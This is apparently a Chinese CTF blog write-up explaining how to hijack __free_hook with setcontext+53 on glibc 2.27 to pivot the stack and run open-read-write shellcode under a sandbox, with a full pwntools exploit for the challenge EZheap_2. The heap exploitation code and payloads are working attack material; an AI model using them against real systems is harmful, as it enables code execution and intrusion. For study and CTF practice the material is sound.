PWN系列-2.27版本利用setcontext实现orw

PWN系列-2.27版本利用setcontext实现orw

知识

开启沙箱之后,我们就只能用orw的方式来得到flag。

这篇博客主要讲通过劫持__free_hook或者__malloc_hook利用setcontext在libc或者heap上执行rop或者shellcode。

在free堆块的时候,rdi会指向堆块,在检测到__free_hook有值的情况下,会跳过去执行,此时的rdi仍然指向堆块地址。我们就可以让__free_hook指向setcontext+53处来劫持程序流。

这里先来看一下setcontext函数。

setcontext函数:

<setcontext>:	    push   rdi
<setcontext+1>:	    lea    rsi,[rdi+0x128]
<setcontext+8>:	    xor    edx,edx
<setcontext+10>:	mov    edi,0x2
<setcontext+15>:	mov    r10d,0x8
<setcontext+21>:	mov    eax,0xe
<setcontext+26>:	syscall 
<setcontext+28>:	pop    rdi
<setcontext+29>:	cmp    rax,0xfffffffffffff001
<setcontext+35>:	jae    0x7f8930e9a0d0 <setcontext+128>
<setcontext+37>:	mov    rcx,QWORD PTR [rdi+0xe0]
<setcontext+44>:	fldenv [rcx]
<setcontext+46>:	ldmxcsr DWORD PTR [rdi+0x1c0]
<setcontext+53>:	mov    rsp,QWORD PTR [rdi+0xa0]
<setcontext+60>:	mov    rbx,QWORD PTR [rdi+0x80]
<setcontext+67>:	mov    rbp,QWORD PTR [rdi+0x78]
<setcontext+71>:	mov    r12,QWORD PTR [rdi+0x48]
<setcontext+75>:	mov    r13,QWORD PTR [rdi+0x50]
<setcontext+79>:	mov    r14,QWORD PTR [rdi+0x58]
<setcontext+83>:	mov    r15,QWORD PTR [rdi+0x60]
<setcontext+87>:	mov    rcx,QWORD PTR [rdi+0xa8]
<setcontext+94>:	push   rcx
<setcontext+95>:	mov    rsi,QWORD PTR [rdi+0x70]
<setcontext+99>:	mov    rdx,QWORD PTR [rdi+0x88]
<setcontext+106>:	mov    rcx,QWORD PTR [rdi+0x98]
<setcontext+113>:	mov    r8,QWORD PTR [rdi+0x28]
<setcontext+117>:	mov    r9,QWORD PTR [rdi+0x30]
<setcontext+121>:	mov    rdi,QWORD PTR [rdi+0x68]
<setcontext+125>:	xor    eax,eax
<setcontext+127>:	ret    
<setcontext+128>:	mov    rcx,QWORD PTR [rip+0x398d91]    
<setcontext+135>:	neg    eax
<setcontext+137>:	mov    DWORD PTR fs:[rcx],eax
<setcontext+140>:	or     rax,0xffffffffffffffff
<setcontext+144>:	ret

setcontext函数我们只需要关心setcontext+53到setcontext+127即可。

这段代码其实就是利用rdi指向的地址+偏移来给各个寄存器赋值,并且控制rip。

通常情况下,我们会利用这段gadgets来实现一次任意写。

通过系统调用syscall(0,0,buf,size)来实现read(0,buf,szie)。

所以我们需要让rax=0,rdi=0,rsi=buf,rdx=size。

payload模板:

payload = p64(0)*13+p64(0)#rdi
payload+= p64(buf)#rsi
payload+= p64(0)*2+p64(0x300)#rdx
payload+= p64(0)*2+p64(buf)+p64(syscall)

rdi、rsi、rdx都比较好理解,xor eax,eax也会使得rax=0了,这里讲一下为什么将rsp也设置成buf,将rcx设置成syscall_ret。

在setcontext+94处有一行汇编push rcx

image-20241225203105998

我们将rsp设置成buf,将rcx设置成syscall_ret,执行完push rcx之后,此时rsp会指向syscall_ret,在代码执行到ret的时候就会跳转到rsp处继续进行系统调用。

此时我们向buf可以直接写orw读取flag,也可以先利用mprotect来将此处赋予可执行权限后写入shellcode来orw。

payload可以这样写:

payload = p64(pop_rdi)+p64(buf)
payload+= p64(pop_rsi)+p64(0x1000)
payload+= p64(pop_rdx)+p64(7)
payload+= p64(pop_rax)+p64(10)
payload+= p64(syscall) #mprotect(buf,0x1000,7)
payload+= p64(jmp_rsp)
payload+= asm(shellcraft.open('./flag'))
payload+= asm(shellcraft.read(3,free_hook+0x300,0x30))
payload+= asm(shellcraft.write(1,free_hook+0x300,0x30))

至于buf,一般是heap,或者libc的bss段。

例题

2024年第九届楚慧杯-EZheap_2

题目存在off by one漏洞,没有show功能,但是可以泄露pie。

可以先利用off by one构造堆块重叠,然后将chunk申请到bss段的stdout处,将stdout结构体_IO_write_base的末字节改小来泄露libc地址,payload通常这样写:p64(0xfbad1800) + p64(0)*3 + b'\x00'

然后再利用off by one来将chunk申请到__free_hook写入setcontext+53的地址,构造一个chunk,然后释放掉,这个chunk要布置一下,然后就是上面所讲的利用了。

from pwn import *

p = process('./pwn')
#p = remote('xxx.xxx.xxx',xxxx)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
context(os='linux',arch='amd64',log_level='debug')

def duan():
	sleep(0.5)
	gdb.attach(p)
	pause()
def pr(a,addr):
	log.success(a+'-->'+hex(addr))
def add(idx,size):
    p.sendlineafter(b'Your choice:',str(1))
    p.sendlineafter(b'index:',str(idx))
    p.sendlineafter(b'Size:',str(size))
def free(idx):
    p.sendlineafter(b'Your choice:',str(3))
    p.sendlineafter(b'index:',str(idx))
def show(idx):
    p.sendlineafter(b'Your choice:',str(4))  
    p.sendlineafter(b'choose:',str(idx))
def edit(idx,con):
    p.sendlineafter(b'Your choice:',str(2))
    p.sendlineafter(b'index:',str(idx))
    p.sendafter(b'context:',con)

add(0,0x18)  #0
add(1,0x68)  #1
add(2,0x68)  #2
add(3,0x18)  #3
edit(0,b'\x00'*0x18+p8(0xe1))
free(1)
add(4,0xd8)  
show(4)
p.recvuntil(b'\n')
pie=int(p.recv(14),16)-0x202160
pr('pie',pie)

free(2)
edit(4,b'\x00'*0x68+p64(0x71)+p64(pie+0x202020))
add(5,0x68)
add(6,0x68)
add(7,0x68)
edit(7,p64(0xfbad1800) + p64(0)*3 + b'\x00')
libc_base=u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))-0x3ed8b0
pr('libc_base',libc_base)

pop_rdi = libc_base+next(libc.search(asm("pop rdi\nret")))
pop_rsi = libc_base+next(libc.search(asm("pop rsi\nret")))
pop_rdx = libc_base+next(libc.search(asm("pop rdx\nret")))
pop_rax = libc_base+next(libc.search(asm("pop rax\nret")))
syscall=libc_base+next(libc.search(asm("syscall\nret")))
jmp_rsp=libc_base+next(libc.search(asm("jmp rsp")))
free_hook=libc_base+libc.sym['__free_hook']
setcontext_53=libc_base+libc.sym['setcontext']+53
buf = free_hook&0xfffffffffffff000

payload = p64(0)*13+p64(0)#rdi
payload+= p64(buf)#rsi
payload+= p64(0)*2+p64(0x300)#rdx
payload+= p64(0)*2+p64(buf)+p64(syscall)

add(8,0x18)
add(9,0x58)
add(10,0x58)
add(11,0x18)
edit(8,b'\x00'*0x18+p8(0xc1))
free(9)
add(12,0xb8)
free(10)
edit(12,b'\x00'*0x58+p64(0x61)+p64(free_hook)) 
add(13,0x58)
add(14,0x58)
edit(14,p64(setcontext_53))
add(15,0x400)
edit(15,payload)
free(15)

payload  = p64(pop_rdi)+p64(buf)
payload += p64(pop_rsi)+p64(0x1000)
payload += p64(pop_rdx)+p64(7)
payload += p64(pop_rax)+p64(10)
payload += p64(syscall) #mprotect(free_hook&0xfffffffffffff000,0x1000,7)
payload += p64(jmp_rsp)
payload += asm(shellcraft.open('./flag'))
payload += asm(shellcraft.read(3,free_hook+0x300,0x30))
payload += asm(shellcraft.write(1,free_hook+0x300,0x30))
p.sendline(payload)
p.interactive()
posted @   山西小嫦娥  阅读(30)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· winform 绘制太阳,地球,月球 运作规律
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
点击右上角即可分享
微信分享提示